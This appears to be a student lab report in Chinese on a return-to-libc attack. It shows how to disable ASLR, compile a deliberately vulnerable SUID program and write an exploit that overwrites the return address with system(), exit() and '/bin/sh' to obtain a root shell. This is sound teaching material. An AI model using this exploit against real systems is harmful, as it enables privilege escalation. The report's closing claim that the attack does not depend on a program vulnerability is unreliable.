1. 程式人生 > >20179203 《Linux內核原理與分析》第十二周作業

20179203 《Linux內核原理與分析》第十二周作業

系統管理 ash 數據讀取 用戶控制 tar 初始設置 可執行 uid time

Return-to-libc 攻擊實驗

一、實驗描述

緩沖區溢出的常用攻擊方法是用 shellcode 的地址來覆蓋漏洞程序的返回地址,使得漏洞程序去執行存放在棧中 shellcode。為了阻止這種類型的攻擊,一些操作系統使得系統管理員具有使棧不可執行的能力。這樣的話,一旦程序執行存放在棧中的 shellcode 就會崩潰,從而阻止了攻擊。不幸的是上面的保護方式並不是完全有效的,現在存在一種緩沖區溢出的變體攻擊,叫做 return-to-libc 攻擊。這種攻擊不需要一個棧可以執行,甚至不需要一個 shellcode。取而代之的是我們讓漏洞程序跳轉到現存的代碼(比如已經載入內存的 libc 庫中的 system()函數等)來實現我們的攻擊。

二、實驗準備

1、輸入命令安裝一些用於編譯 32 位 C 程序的東西:

通過以下代碼實現這一功能。

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev

2、輸入命令“linux32”進入 32 位 linux 環境。輸入“/bin/bash”使用 bash:

技術分享圖片

三、實驗步驟

1、初始設置

Ubuntu 和其他一些 Linux 系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜測準確的內存地址變得十分困難,而猜測內存地址是緩沖區溢出攻擊的關鍵。因此本次實驗中,我們使用以下命令關閉這一功能:

sudo sysctl -w kernel.randomize_va_space=0

2、漏洞程序

把以下代碼保存為“retlib.c”文件,保存到 /tmp 目錄下。代碼如下:

/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}

編譯該程序,並設置 SET-UID。命令如下:

sudo su

gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c

chmod u+s retlib

exit

上述程序有一個緩沖區溢出漏洞,它先從一個叫“badfile”的文件裏把 40 字節的數據讀取到 12 字節的 buffer,引起溢出。fread()函數不檢查邊界所以會發生溢出。由於此程序為 SET-ROOT-UID 程序,如果一個普通用戶利用了此緩沖區溢出漏洞,他有可能獲得 root shell。應該註意到此程序是從一個叫做“bad?le”的文件獲得輸入的,這個文件受用戶控制。現在我們的目標是為“bad?le”創建內容,這樣當這段漏洞程序將此內容復制進它的緩沖區,便產生了一個 root shell 。

我們還需要用到一個讀取環境變量的程序:

/* getenvaddr.c */
include <stdio.h>
include <stdlib.h>
include <string.h>

int main(int argc, char const *argv[])
{
 char *ptr;

 if(argc < 3){
    printf("Usage: %s <environment var> <target program name>\n", argv[0]);
    exit(0);
    }
 ptr = getenv(argv[1]);
 ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
 printf("%s will be at %p\n", argv[1], ptr);
 return 0;
}

編譯一下:

gcc -m32 -o getenvaddr getenvaddr.c

3、攻擊程序

把以下代碼保存為“exploit.c”文件,保存到 /tmp 目錄下。代碼如下:

/* exploit.c */
include <stdlib.h>
include <stdio.h>
include <string.h>
int main(int argc, char **argv)
{
 char buf[40];
 FILE *badfile;
 badfile = fopen(".//badfile", "w");

 strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times

 *(long *) &buf[32] =0x11111111; // "//bin//sh"
 *(long *) &buf[24] =0x22222222; // system()
 *(long *) &buf[36] =0x33333333; // exit()
 fwrite(buf, sizeof(buf), 1, badfile);
 fclose(badfile);
}

代碼中“0x11111111”、“0x22222222”、“0x33333333”分別是 BIN_SH、system、exit 的地址,需要我們接下來獲取。

4、獲取內存地址

1)用剛才的 getenvaddr 程序獲得 BIN_SH 地址:

技術分享圖片

2)gdb 獲得 system 和 exit 地址:

技術分享圖片
修改 exploit.c 文件,填上剛才找到的內存地址:
技術分享圖片
刪除剛才調試編譯的 exploit 程序和 badfile 文件,重新編譯修改後的 exploit.c:

rm exploit
rm badfile
gcc -m32 -o exploit exploit.c

5)攻擊
先運行攻擊程序 exploit,再運行漏洞程序 retlib,可見攻擊成功,獲得了 root 權限:
技術分享圖片

四、實驗總結

實驗最終的結果是成功的控制了root權限,雖然這樣的結果和緩沖區溢出攻擊達到相同的結果,但是采取的手段完全不同。Return-to-libc攻擊,通過已經現存的代碼實現攻擊。這種攻擊在我看來是一種更加隱秘的成功率高的攻擊手段。畢竟這樣的攻擊並不依賴於程序中的漏洞,其漏洞是通過自己生成的代碼生成的,因此防範起來更加困難。目前對於 return-into-libc 和返回導向編程攻擊,地址空間布局隨機化(Address Space Layout Randomization,ASLR)機制是最為有效的防禦機制之一。ASLR 可以實現對進程的堆、 棧、代碼和共享庫等的地址在程序每次運行的時候的隨機化, 大大增加了定位到需要利用的代碼的正確位置的難度,因此也就大大增加了 return-into-libc 和返回導向編程攻擊的難度以及對攻擊的防禦能力。由於程序運行時的地址被隨機化,在攻擊時攻擊者無法直接定位到所需利用的隨機化後的內存地址,而只能依賴於對這些數據、代碼運行時的實際地址的猜測。因此攻擊者猜對的可能性比較低,很難成功發起攻擊。同時,也容易導致程序運行時崩潰,因而減小了檢測到攻擊的難度。

20179203 《Linux內核原理與分析》第十二周作業